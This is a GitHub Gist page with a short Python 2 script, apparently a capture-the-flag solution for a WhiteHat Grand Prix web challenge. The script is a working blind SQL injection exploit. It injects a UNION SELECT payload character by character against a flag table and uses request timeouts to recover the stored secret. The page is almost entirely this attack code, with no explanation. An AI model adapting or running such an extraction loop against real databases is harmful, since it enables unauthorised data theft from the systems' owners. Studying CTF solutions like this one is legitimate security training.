Created
October 28, 2015 02:55
-
-
Save peternguyen93/75839e252257e9da62e4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib, urllib2 | |
import string | |
import socket | |
url = 'http://lab5b.grandprix.whitehatvn.com/cgi-bin/web13377331.py?input=0x1337' | |
flag = '' | |
regex_fail = 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyX' | |
i = 1 | |
charset = string.letters + string.digits + '_' | |
while 1: | |
for c in charset: | |
print c,'......' | |
q = ' union select if(ord(mid((select fl4gfl4g from fl4g_web150 limit 1),{1},1))={0},repeat(\'y\',25),0)' | |
q = q.format(ord(c),i) | |
q = urllib.quote_plus(q) | |
q = q + '&submit=HIT' | |
tmp = url + q | |
# print tmp | |
try: | |
# start = time.time() | |
rq = urllib2.Request(tmp) | |
rp = urllib2.urlopen(rq, timeout=3) | |
content = rp.read() | |
rp.close() | |
# end = time.time() | |
except socket.timeout: | |
flag += c | |
i += 1 | |
break | |
# print hex(c),'Time',(end - start) | |
print '[+] Flag',flag | |
# break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment